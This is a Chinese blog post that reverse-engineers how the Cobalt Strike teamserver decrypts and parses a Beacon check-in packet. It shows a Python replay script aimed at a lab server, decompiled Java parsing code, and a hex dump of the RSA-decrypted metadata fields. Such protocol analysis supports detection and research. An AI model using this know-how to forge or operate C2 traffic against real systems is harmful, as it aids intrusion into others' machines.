当前位置: 首页 > news >正文

CobaltStrike Beacon上线包解析

beacon上线包

为了方便动态调试,将上线数据进行重放

import requests

url = "http://192.168.110.37/pixel"

headers = {
    "User-Agent": "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)",
    "Accept": "*/*",
    "cookie": "GUUepev9QEIeOLbFgW+Dd7p4k7pR/7I53SDWbSmt0BRBhjritflam/uKtShebvFUZHL136LZcWtAv4haCuZkRB/q7/fK1T2SP3SlAPFs0yfMJ2n1seUw3OcKGcpVelMpL8XEw6FM6LuyYOG7cbIHNGn9dDmq8RDSjZd/YqAHqkY="
    #"cookie": "Fo9SvaBbe7k25AKjov9rE0eP9EaILCM9Kc7X4cqG3rJVDqLJyqjTkwCnfGYM/0nUaRLtLN2MFuQmFm+6oLDS6/HsXQyJmhefb0EnW7T2qcPyR262ZdKLO9BO63Db2pFmvhpib4xEXoMZ+8YI0mB3ze3qPjXVdSjAI3q0Yt43h+U="
}

r = requests.get(url, headers=headers)
print(r.text)
print(r.status_code)

在接收到上线包时,会在beacon/BeanHTTP.java文件中进行解析

public byte[] serve(String var1, String var2, Properties var3, Properties var4) {
   String var5 = ServerUtils.getRemoteAddress(BeaconHTTP.this.c2profile, var3);
    //根据配置文件metadata处理加密数据(配置中为base64,var6中得到解码的数据)
   String var6 = BeaconHTTP.this.c2profile.recover(".http-get.client.metadata", var3, var4, BeaconHTTP.this.getPostedData(var4), var1);
   if (var6.length() != 0 && var6.length() == 128) {
      BeaconEntry var7 = BeaconHTTP.this.controller.process_beacon_metadata(BeaconHTTP.this.listener, var5, CommonUtils.toBytes(var6), (String)null, 0);
      if (var7 == null) {
         MudgeSanity.debugRequest(".http-get.client.metadata", var3, var4, "", var1, var5);
         return new byte[0];
      } else {
         byte[] var8 = BeaconHTTP.this.controller.dump(var7.getId(), 921600, 1048576);
         if (var8.length > 0) {
            byte[] var9 = BeaconHTTP.this.controller.getSymmetricCrypto().encrypt(var7.getId(), var8);
            return var9;
         } else {
            return new byte[0];
         }
      }
   } else {
      CommonUtils.print_error("Invalid session id");
      MudgeSanity.debugRequest(".http-get.client.metadata", var3, var4, "", var1, var5);
      return new byte[0];
   }
}

dns/AsymmetricCrypto.class代码如下

public byte[] decrypt(byte[] var1) {
      byte[] var2 = new byte[0];

      try {
          //RSA解密数据
         synchronized(this.cipher) {
            this.cipher.init(2, this.privatekey);
            var2 = this.cipher.doFinal(var1);
         }
        //校验数据
         DataInputStream var3 = new DataInputStream(new ByteArrayInputStream(var2));
         int var4 = var3.readInt();
         if (var4 != 48879) {//校验魔术头
            System.err.println("Magic number failed :( [RSA decrypt]");
            return new byte[0];
         } else {
            int var5 = var3.readInt();
            if (var5 > 117) {//校验数据长度
               System.err.println("Length field check failed :( [RSA decrypt]");
               return new byte[0];
            } else {
               byte[] var6 = new byte[var5];
               var3.readFully(var6, 0, var5);
               return var6;
            }
         }
      } catch (Exception var8) {
         MudgeSanity.logException("RSA decrypt", var8, false);
         return new byte[0];
      }
   }

decrypt函数功能为RSA解密,校验魔术头和数据长度。

RSA解密后的数据格式如下

00000000: 00 00 BE EF 00 00 00 54  6D E2 6D AD B3 E2 7F 90  .......Tm.m.....
00000010: 8B FD 5F 80 FD AC 29 23  A8 03 A8 03 2A 9E BD F6  .._...)#....*...
00000020: 00 00 0E 4C 00 00 0C 06  01 1D B1 00 00 00 00 75  ...L...........u
00000030: AB 12 45 75 AB 12 22 80  06 A8 C0 57 49 4E 2D 44  ..Eu.."....WIN-D
00000040: 30 43 39 46 4F 54 4A 31  4D 30 09 30 78 31 37 09  0C9FOTJ1M0.0x17.
00000050: 61 72 74 69 66 61 63 74  2E 65 78 65              artifact.exe

beacon/BeaconC2.java的process_beacon_metadata函数

public BeaconEntry process_beacon_metadata(ScListener var1, String var2, byte[] var3, String var4, int var5) {
   //获取解密后的数据(去魔术头和长度)
   byte[] var6 = this.getAsymmetricCrypto().decrypt(var3);
   if (var6 != null && var6.length != 0) {
      String var7 = CommonUtils.bString(var6);
      //beacon生成的16位随机key,用于计算后续下发任务使用的AESKEY和HASHMac
      String var8 = var7.substring(0, 16);
      //编码类型
      String var9 = WindowsCharsets.getName(CommonUtils.toShort(var7.substring(16, 18)));
      String var10 = WindowsCharsets.getName(CommonUtils.toShort(var7.substring(18, 20)));
      //回连的监听器
      String var11 = "";
      BeaconEntry var12;
      if (var1 != null) {
         var11 = var1.getName();
      } else if (var4 != null) {
         var12 = this.getCheckinListener().resolveEgress(var4);
         if (var12 != null) {
            var11 = var12.getListenerName();
         }
      }
      //BeaconEntry函数解析后续的数据
      var12 = new BeaconEntry(var6, var9, var2, var11);
      if (!var12.sane()) {
         CommonUtils.print_error("Session " + var12 + " metadata validation failed. Dropping");
         return null;
      } else {
         this.getCharsets().register(var12.getId(), var9, var10);
         if (var4 != null) {
            var12.link(var4, var5);
         }

         this.getSymmetricCrypto().registerKey(var12.getId(), CommonUtils.toBytes(var8));
         if (this.getCheckinListener() != null) {
            this.getCheckinListener().checkin(var1, var12);
         } else {
            CommonUtils.print_stat("Checkin listener was NULL (this is good!)");
         }

         return var12;
      }
   } else {
      CommonUtils.print_error("decrypt of metadata failed");
      return null;
   }
}

common/BeaconEntry.java的BeaconEntry函数解析后续数据

public BeaconEntry(byte[] var1, String var2, String var3, String var4) {
   boolean var5;
   try {
      DataParser var6 = new DataParser(var1);
      var6.big();
      var6.consume(20);
      //beaconID 4字节
      this.id = Long.toString(CommonUtils.toUnsignedInt(var6.readInt()));
      //beacon进程PID 4字节
      this.pid = Long.toString(CommonUtils.toUnsignedInt(var6.readInt()));
      //端口 2字节
      this.port = Integer.toString(CommonUtils.toUnsignedShort(var6.readShort()));
      //第31位,标志,判断进程是32位还是64位,系统是否为64位
      byte var7 = var6.readByte();
      if (CommonUtils.Flag(var7, 1)) {
         this.barch = "";
         this.pid = "";
         this.is64 = "";
      } else if (CommonUtils.Flag(var7, 2)) {
         this.barch = "x64";
      } else {
         this.barch = "x86";
      }

      this.is64 = CommonUtils.Flag(var7, 4) ? "1" : "0";
      var5 = CommonUtils.Flag(var7, 8);
      //获取系统版本号 第32和33位
      byte var8 = var6.readByte(); //大版本号
      byte var9 = var6.readByte(); //小版本号
      this.ver = var8 + "." + var9;
      //系统构建号 2字节 35
      this.build = var6.readShort();
      //gmh_gpa 4字节 39
      byte[] var10 = var6.readBytes(4);
      //gmh函数地址 4字节 43
      this.ptr_gmh = var6.readBytes(4);
      //gpa函数地址 4字节 47
      this.ptr_gpa = var6.readBytes(4);
      if ("x64".equals(this.barch)) {
         this.ptr_gmh = CommonUtils.join(var10, this.ptr_gmh);
         this.ptr_gpa = CommonUtils.join(var10, this.ptr_gpa);
      }

      this.ptr_gmh = CommonUtils.bswap(this.ptr_gmh);
      this.ptr_gpa = CommonUtils.bswap(this.ptr_gpa);
      var6.little();
      //beacon IP 4字节 51  前51字节固定
      this.intz = AddressList.toIP(CommonUtils.toUnsignedInt(var6.readInt()));
      var6.big();
      if ("0.0.0.0".equals(this.intz)) {
         this.intz = "unknown";
      }
   } catch (IOException var11) {
      MudgeSanity.logException("Could not parse metadata!", var11, false);
      this.sane = false;
      return;
   }

   //剩下的数据为计算机名,用户名和beacon进程名
   String var12 = CommonUtils.bString(Arrays.copyOfRange(var1, 51, var1.length), var2);
   String[] var13 = var12.split("\t");
   if (var13.length > 0) {
      this.comp = var13[0];
   }

   if (var13.length > 1) {
      this.user = var13[1];
   }

   if (var13.length > 2) {
      if (this.isSSH()) {
         this.ver = var13[2];
      } else {
         this.proc = var13[2];
      }
   }

   if (var5) {
      this.user = this.user + " *";
   }

   this.ext = var3;
   this.chst = var2;
   this.lname = var4;
   this.sane = this.sanity();
}

相关文章:

  • 本地jar包添加到 maven
  • 前端基础之消息订阅与发布
  • 黑马点评2 商户查询缓存
  • 十、Redis 主从复制:原理解析、配置实践与优化策略
  • PCA(主成分分析)核心原理
  • [QT]开发全解析:从概念到实战
  • 【渗透测试】反弹 Shell 技术详解(一)
  • 苍雾世界新手玩法介绍 苍雾世界什么角色比较强
  • 从开源大模型工具Ollama存在安全隐患思考企业级大模型应用如何严守安全红线
  • SQL刷题:自连接(Self-Join)--通过将 同一张表连接两次,比较不同行之间的数据关系
  • 在Ubuntu上搭建Samba服务,实现与windows之间的文件共享
  • 如何评价字节发布的集成了AI的IDE trae?和cursor相比,有什么优势和劣势?
  • kan pinn
  • ArcGIS Pro建库中常用公式的应用与技巧
  • 【web前端开发】CSS--CSS简介及其编写位置(上)
  • 【数据结构】堆和priority_queue
  • Python Flask框架学习汇编
  • Android中的Fragment是什么以及它有哪些生命周期方法
  • MySQL : 数据库和表操作
  • 蓝桥与力扣刷题(蓝桥 最大化手工艺品销售利润)
  • 爬坡难下坡险,居民出行难题如何解?
  • 商人运作亿元“茅台酒庞氏骗局”,俩客户自认受害人不服“从犯”判决提申诉
  • 马上评|让查重回归促进学术规范的本意
  • 秦洪看盘|交易新逻辑,银行股成A股稳定器
  • 学者的“好运气”:读本尼迪克特·安德森《椰壳碗外的人生》
  • 人民币对美元即期汇率盘中创半年新高,离岸市场升破7.2